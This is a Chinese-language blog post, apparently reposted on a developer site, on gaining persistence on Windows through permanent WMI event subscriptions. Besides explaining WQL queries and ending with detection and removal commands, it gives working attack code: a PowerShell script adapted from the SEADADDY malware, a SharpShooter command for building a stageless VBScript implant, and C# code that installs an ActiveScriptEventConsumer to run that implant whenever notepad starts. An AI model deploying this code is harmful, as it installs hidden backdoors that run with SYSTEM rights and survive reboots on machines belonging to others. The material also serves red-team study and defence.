永久性 WMIC 事件订阅 - 权限维持(三)

栏目: ASP.NET · 发布时间: 4年前

内容简介:与之前的文章不同,这个操作需要管理员权限。在日常中,使用但其实它的功能还有很多,比如:

与之前的文章不同,这个操作需要管理员权限。

0x00 前言

在日常中,使用 WMI 都是用于信息的收集,如下:

wmic qfe list #获取补丁信息
wmic startup list brief # 启动的程序
wmic startup list full # 自启动的程序
wmic process call create "calc.exe" # 在当前机器中执行指定程序
wmic process where name='*.exe' list full   #查询某个进程所对应某个具体的可执行程序是什么
wmic process where(description="rundll32.exe") # 查看rundll32所加载的dll
wmic cpu get DataWidth /format:list # 查询当前机器的操作系统位数
wmic share  get name,path,status  #利用wmic查找共享
wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber,size #查看分区

但其实它的功能还有很多,比如:

防病毒检测
代码执行
横向移动
持久化
盗取数据

0x01 查询 WMI

WMI 提供了一种非常直观的语法用来查询WMI对象的实例,类和命名空间,即 WQL (类似 SQL 的查询语言)。WQL查询通常可以分为以下几类:

  • Instance Queries(实例查询):查询WMI对象实例。
  • Event Queries(事件查询):等同于在WMI对象创建/修改/删除的时候注册一个消息。
  • Meta Queries(元查询):元查询用来获取WMI命名空间和类结构的元信息。

1.1 Instance Queries

这是最常用的WQL查询。基本的格式如下:

SELECT [Class property name | *] FROM [CLASS NAME] <WHERE [CONSTRAINT]>

  • 下面的查询语句将返回所有可执行文件名中带有 chrome 的正在运行的进程:

    SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"

1.2 Event Queries

事件查询被用作一种消息机制来监听事件类的触发。通常用来在一个WMI对象实例创建/修改/删除的时候给用户发送一个消息。根据消息类型是 intrinsic (系统自带的)还是 extrinsic (第三方的),查询语句格式不同:

SELECT [Class property name | *] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>

SELECT [Class property name | *] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
  • 用于登陆时都会触发此事件:

    SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstanceISA 'Win32_LogonSession' AND TargetInstance.LogonType=2
    
  • 每次用户在插入可移除设备时都会触发此事件:

    SELECT * FROM Win32_VolumeChangeEvent Where EventType=2
    
  • 每次创建 win32 进程时都会触发此事件:

    Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"
    

1.3 Meta Queries

元查询用来查询WMI命名空间和类结构的信息。最常见的用法是用来列举WMI命名空间的类结构。元查询是实例查询的一个子集,但是与对象查询不同的是,我们查询的是类的实例的定义。

  • 格式如下:

    SELECT [Class property name | *] FROM [Meta_Class | SYSTEM CLASS NAME] <WHERE [CONSTRAINT]>
    
  • 下面这个语句会查询所有以 WIN32 开头的WMI的类:

    SELECT * FROM Meta_Class WHERE __CLASS LIKE "Win32%"

  • 下面这个语句会查询某个命名空间下的所有命名空间:
    SELECT Name FROM __NAMESPACE

注意,当不显示的指定命名空间时,默认的命名空间为 ROOT\CIMV2

0x02 与WMI交互

Microsoft和一些第三方软件开发者为我们提供了许多能够与WMI交互的工具。

下面是部分 工具 的一个不完全的列表

1、PowerShell
2、wmic.exe
3、wbemtest.exe
4、WMI Explorer
5、CIM Studio
6、Windows Script Host (WSH) languages
7、C/C++ via IWbem* COM API
8、.NET using System.Management classes
9、winrm.exe

0x03 WMI事件

WMI事件分两类,包括 本地事件 (运行在本地上下文环境当中的单个进程的事件)和 永久性WMI事件订阅

本地事件有生命周期为进程宿主的周期,而永久性 WMI事件 是存储在WMI库中,以 SYSTEM 权限运行,并且重启后依然存在。

3.1 前置条件

为了能够安装一个 永久性的 WMI 事件订阅 ,必须满足两个条件:

  • 一个 __EventFilter 查询,它创建一个过滤器,为我们的特定事件选择触发器;
  • Event Consumer Class ,代表一个事件触发时所执行的操作。

Event Consumers (事件处理)中,可用的标准事件处理类:

LogFileEventConsumer: 将事件数据写入到指定的日志文件
ActiveScriptEventConsumer: 用来执行VBScript/JScript程序
NTEventLogEventConsumer:创建一个包含事件数据的日志入口点
SMTPEventConsumer:将事件数据用邮件发送
CommandLineEventConsumer:执行一条命令

利用点

  • ActiveScriptEventConsumer ,允许执行任意脚本(支持 JScriptVBScript 引擎)
  • CommandLineEventConsumer ,允许执行任意命令

3.2 测试

使用以下查询进行测试:

Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"

为了方便测试,此处使用 Powershell 的 Register-WMIEvent 安装触发器。

永久性 WMIC 事件订阅 - 权限维持(三)

以上测试不符合实际需求。

3.3 Powershell 实例(命令执行)

下面的 PowerShell 代码来自一个叫 SEADADDY 的恶意软件的修改版,用来通过 WMI做持久化

$EventFilterName = 'BotFilter11'
$EventConsumerName = 'BotConsumer22'

$EventFilterArgs = @{
		EventNamespace = 'root\cimv2'
		Name = $EventFilterName
		Query = 'Select * From __InstanceCreationEvent Where TargetInstance Isa "Win32_Process"'
		QueryLanguage="WQL"
}

$WMIEventFilter = Set-WmiInstance -NameSpace 'root\subscription' -Class __EventFilter -Arguments $EventFilterArgs -ErrorAction Stop

$CommandLineumerArgs =@{
        Name=$EventConsumerName
		CommandLineTemplate='C:\Windows\System32\calc.exe'
}

$WMIEventConsumer = Set-WmiInstance -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments $CommandLineumerArgs

$WMIEventFilterToConsumerArgs = @{
		Filter=$WMIEventFilter
		Consumer=$WMIEventConsumer
}

Set-WmiInstance -Namespace 'root\subscription' -Class __FilterToConsumerBinding -Arguments $WMIEventFilterToConsumerArgs

但是这里实测失败,就算使用 C# 去添加 CommandLineEventConsumer 也是失败的,但是 LogFileEventConsumer 可成功。

3.4 C# 实例(代码执行)

本示例执行的是 VBScript

使用 SharpShooter 生成 VBSceipt 类型的 payload友情提示:一定要生成 64位的 payload。

> python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin

       _____ __                    _____ __                __           
      / ___// /_  ____ __________ / ___// /_  ____  ____  / /____  _____
      \__ \/ __ \/ __ `/ ___/ __ \__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
     ___/ / / / / /_/ / /  / /_/ /__/ / / / / /_/ / /_/ / /_/  __/ /    
    /____/_/ /_/\__,_/_/  / .___/____/_/ /_/\____/\____/\__/\___/_/     
                         /_/                                            

     Dominic Chell, @domchell, MDSec ActiveBreach, v2.0
    
[*] Written delivery payload to output/implantvbs.vbs
运行vbs,成功上线,再进行 base64 编码
> base64 -i output/implantvbs.vbs >>implantvbs-base64.txt

示例代码:

// WMI Event Subscription Peristence Demo
// Author: @domchell

using System;
using System.Text;
using System.Management;

namespace WMIPersistence
{
    class Program
    {
        static void Main(string[] args)
        {
            PersistWMI();
        }

        static void PersistWMI()
        {
            ManagementObject myEventFilter = null;
            ManagementObject myEventConsumer = null;
            ManagementObject myBinder = null;

            string vbscript64 = "<INSIDE base64 encoded VBS here>";
            string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));
            try
            {
                ManagementScope scope = new ManagementScope(@"\\.\root\subscription");

                ManagementClass wmiEventFilter = new ManagementClass(scope, new
                ManagementPath("__EventFilter"), null);
                String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +            
        "WHERE TargetInstance ISA \"Win32_Process\" " +           
        "AND TargetInstance.Name = \"notepad.exe\"";

                WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
                myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = "demoEventFilter";
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                myEventFilter.Put();
                Console.WriteLine("[*] Event filter created.");

                myEventConsumer =
                new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"),
                null).CreateInstance();
                myEventConsumer["Name"] = "BadActiveScriptEventConsumer";
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbscript;
                myEventConsumer.Put();

                Console.WriteLine("[*] Event consumer created.");

                myBinder =
                new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
                null).CreateInstance();
                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
                myBinder.Put();

                Console.WriteLine("[*] Subscription created");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            } // END CATCH
            Console.ReadKey();
        } // END FUNC
    } // END CLASS
} // END NAMESPACE

管理员权限运行生成的exe, 演示 GIF

永久性 WMIC 事件订阅 - 权限维持(三)

0x04 WMI后门检测及清除

4.1 Sysmon日志

略….

4.2 查看当前WMI Event

#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

4.3 清除后门

#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose

#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose

#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose

0x05 参考


以上所述就是小编给大家介绍的《永久性 WMIC 事件订阅 - 权限维持(三)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Agile Web Development with Rails, Third Edition

Agile Web Development with Rails, Third Edition

Sam Ruby、Dave Thomas、David Heinemeier Hansson / Pragmatic Bookshelf / 2009-03-17 / USD 43.95

Rails just keeps on changing. Rails 2, released in 2008, brings hundreds of improvements, including new support for RESTful applications, new generator options, and so on. And, as importantly, we’ve a......一起来看看 《Agile Web Development with Rails, Third Edition》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具